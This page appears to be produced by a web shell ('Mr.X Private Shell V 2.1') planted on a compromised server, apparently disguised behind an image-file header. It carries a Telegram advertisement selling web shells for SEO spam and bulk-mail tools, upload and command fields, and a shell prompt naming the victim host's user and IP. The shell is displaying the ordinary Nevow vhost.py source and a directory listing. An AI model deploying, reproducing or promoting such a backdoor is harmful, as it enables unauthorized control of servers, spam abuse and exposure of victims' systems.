����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eurolloncard@216.73.217.25: ~ $
# Copyright (c) 2004 Divmod.
# See LICENSE for details.

from twisted.python import log
from zope.interface import implements
from nevow import loaders, rend, inevow
from nevow.stan import directive
from nevow import tags

class VirtualHostList(rend.Page):
    def __init__(self, nvh):
        rend.Page.__init__(self)
        self.nvh = nvh

    stylesheet = """
    body { border: 0; padding: 0; margin: 0; background-color: #efefef; }
    h1 {padding: 0.1em; background-color: #777; color: white; border-bottom: thin white dashed;}
"""

    def getStyleSheet(self):
        return self.stylesheet
 
    def data_hostlist(self, context, data):
        return self.nvh.hosts.keys()

    def render_hostlist(self, context, data):
        host=data
        req = context.locate(inevow.IRequest)
        proto = req.clientproto.split('/')[0].lower()
        port = req.getHeader('host').split(':')[1]

        link = "%s://%s" % (proto, host)

        if port != 80:
            link += ":%s" % port

        link += req.path

        return context.tag[tags.a(href=link)[ host ]]
 
    def render_title(self, context, data):
        req = context.locate(inevow.IRequest)
        proto = req.clientproto.split('/')[0].lower()
        host = req.getHeader('host')
        return context.tag[ "Virtual Host Listing for %s://%s" % (proto, host) ]

    def render_stylesheet(self, context, data):
        return tags.style(type="text/css")[self.getStyleSheet()]
        
    docFactory = loaders.stan(
        tags.html[
            tags.head[
                tags.title(render=render_title),
                tags.directive('stylesheet'),
            ],
            tags.body[
                tags.h1(render=render_title),
                tags.ul(data=directive("hostlist"), render=directive("sequence"))[
                    tags.li(pattern="item", render=render_hostlist)]]])
 
class NameVirtualHost(rend.Page):
    """I am a resource which represents named virtual hosts. 
       And these are my obligatory comments
    """
    
    supportNested = True

    def __init__(self, default=None, listHosts=True):
        """Initialize. - Do you really need me to tell you that?
        """
        log.msg("Initializing %r" % self)

        rend.Page.__init__(self)
        self.hosts = {}
       
        self.default = default
        self.listHosts = listHosts
        
        if self.listHosts and self.default == None:
            self.default = VirtualHostList(self)
            
    def addHost(self, name, resrc):
        """Add a host to this virtual host. - The Fun Stuff(TM)
            
        This associates a host named 'name' with a resource 'resrc'

            >>> nvh.addHost('nevow.com', nevowDirectory)
            >>> nvh.addHost('divmod.org', divmodDirectory)
            >>> nvh.addHost('twistedmatrix.com', twistedMatrixDirectory)

        I told you that was fun.
        """
        
        self.hosts[name] = resrc

    def removeHost(self, name):
        """Remove a host. :(
        """
        del self.hosts[name]

    def _getResourceForRequest(self, request):
        """(Internal) Get the appropriate resource for the request
        """
        
        hostHeader = request.getHeader('host')
        
        if hostHeader == None:
            return self.default or rend.NotFound[0]
        else:
            host = hostHeader.split(':')[0].lower()
            
            if self.supportNested:
                """ If supportNested is True domain prefixes (the stuff up to the first '.')
                    will be chopped off until it's reduced to the tld or a valid domain is 
                    found.
                """

                while not self.hosts.has_key(host) and len(host.split('.')) > 1:
                    host = '.'.join(host.split('.')[1:])

        return (self.hosts.get(host, self.default) or rend.NotFound[0])

    def locateChild(self, ctx, segments):
        """It's a NameVirtualHost, do you know where your children are?
        
        This uses locateChild magic so you don't have to mutate the request.
        """
        resrc = self._getResourceForRequest(inevow.IRequest(ctx))
        return resrc, segments

class _VHostMonsterResourcePrepathCleaner:
    """VHostMonsterResource cannot modify request.prepath because the
    segments it needs to remove are not appended to prepath until
    *after* it returns the (resource,segments) tuple.
    """
    implements(inevow.IResource)
    def locateChild(self, ctx, segments):
        request = inevow.IRequest(ctx)
        request.prepath = request.prepath[3:]
        return request.site.resource, segments

_prepathCleaner = _VHostMonsterResourcePrepathCleaner()

class VHostMonsterResource:
    """VHostMonster resource that helps to deploy a Nevow site behind a proxy.
    
    The main problem when deploying behind a proxy is that the scheme, host name
    and port the user typed into their browser are lost because the proxying web
    server forwards the request to something like http://localhost:8080/.
    
    A vhost resource consumes the next 2 segments of the URL to rewrite the
    scheme, host and port in the request object. It then "forwards" the request
    to the site's root resource.
    
    To install the resource use something like:
    
    >>> root = MyRootPage()
    >>> root.putChild('vhost', VHostMonsterResource())
    >>> site = NevowSite(root)
        
    An appropriate Apache configuration using mod_proxy would be::
        
        ProxyPass / http://localhost:8080/vhost/http/real.domainname.com/

    If you only want to proxy a part of the url tree, try::

        ProxyPass /foo/bar http://localhost:8080/vhost/http/real.domainname.com/foo/bar

    Note how the path is equal on both the public and the private server.
    Where as the /vhost/http/real.domainname.com part tells the private
    server the scheme, hostname, and possibly port, the /foo/bar is needed
    at the end to let the private know the path also.

    This also means your private server should serve the real content at
    /foo/bar, and not at the root of the tree.

    Warning: anyone who can access a VHostMonsterResource can fake the
    host name they are contacting. This can lead to cookie stealing or
    cross site scripting attacks. Never expose /vhost to the Internet.
    """
    implements(inevow.IResource)

    def locateChild(self, ctx, segments):

        request = inevow.IRequest(ctx)

        if len(segments) < 2:
            return rend.NotFound
        else:
            if segments[0] == 'http':
                request.isSecure = lambda: 0
            elif segments[0] == 'https':
                request.isSecure = lambda: 1

            if ':' in segments[1]:
                host, port = segments[1].split(':', 1)
                port = int(port)
            else:
                host, port = segments[1], 80
           
            request.setHost(host, port)

            prefixLen = len('/'+'/'.join(request.prepath)+'/'+'/'.join(segments[:2]))
            request.path = '/'+'/'.join(segments[2:])
            request.uri = request.uri[prefixLen:]

            return _prepathCleaner, segments[2:]


Filemanager

Name Type Size Permission Actions
athena_private Folder 0755
css Folder 0755
flat Folder 0755
js Folder 0755
livetrial Folder 0755
plugins Folder 0755
scripts Folder 0755
taglibrary Folder 0755
test Folder 0755
Canvas.fla File 36.5 KB 0775
Canvas.swf File 5.61 KB 0664
__init__.py File 13.85 KB 0644
__init__.pyc File 14.41 KB 0644
_flat.py File 19.63 KB 0644
_flat.pyc File 19.03 KB 0644
_version.py File 537 B 0644
_version.pyc File 676 B 0644
_widget_plugin.py File 3.34 KB 0644
_widget_plugin.pyc File 5.32 KB 0644
accessors.py File 3.68 KB 0644
accessors.pyc File 6.22 KB 0644
appserver.py File 17.58 KB 0644
appserver.pyc File 22.34 KB 0644
athena.py File 65.41 KB 0644
athena.pyc File 75.71 KB 0644
blocks.py File 6.13 KB 0644
blocks.pyc File 7.16 KB 0644
canvas.as File 6.55 KB 0775
canvas.py File 15.12 KB 0644
canvas.pyc File 23.64 KB 0644
compression.py File 6.15 KB 0644
compression.pyc File 9.18 KB 0644
compy.py File 2.29 KB 0644
compy.pyc File 2.92 KB 0644
context.py File 11.25 KB 0644
context.pyc File 12.77 KB 0644
dirlist.py File 4.51 KB 0644
dirlist.pyc File 4.88 KB 0644
empty-module.css File 0 B 0664
empty-module.js File 0 B 0664
entities.py File 11.3 KB 0644
entities.pyc File 14.99 KB 0644
errors.py File 1.29 KB 0644
errors.pyc File 2.39 KB 0644
events.py File 1.45 KB 0644
events.pyc File 2.48 KB 0644
failure.py File 6.51 KB 0644
failure.pyc File 7.57 KB 0644
guard.py File 21.07 KB 0644
guard.pyc File 23.02 KB 0644
i18n.py File 5.95 KB 0644
i18n.pyc File 7.41 KB 0644
inevow.py File 21.94 KB 0644
inevow.pyc File 36.34 KB 0644
itaglibrary.py File 82 B 0644
itaglibrary.pyc File 491 B 0644
json.py File 8.3 KB 0644
json.pyc File 13.49 KB 0644
jsutil.py File 3.83 KB 0644
jsutil.pyc File 4.22 KB 0644
loaders.py File 7.06 KB 0644
loaders.pyc File 8.33 KB 0644
page.py File 4.51 KB 0644
page.pyc File 5.58 KB 0644
query.py File 3.37 KB 0644
query.pyc File 6.17 KB 0644
rend.py File 29.16 KB 0644
rend.pyc File 36.3 KB 0644
stan.py File 20.95 KB 0644
stan.pyc File 29.03 KB 0644
static.py File 13.16 KB 0644
static.pyc File 16.45 KB 0644
tags.py File 1.91 KB 0644
tags.pyc File 2.72 KB 0644
testutil.py File 17.34 KB 0644
testutil.pyc File 26.98 KB 0644
url.py File 20.12 KB 0644
url.pyc File 25.41 KB 0644
useragent.py File 4.86 KB 0644
useragent.pyc File 4.88 KB 0644
util.py File 7.01 KB 0644
util.pyc File 9.55 KB 0644
vhost.py File 7.01 KB 0644
vhost.pyc File 9.45 KB 0644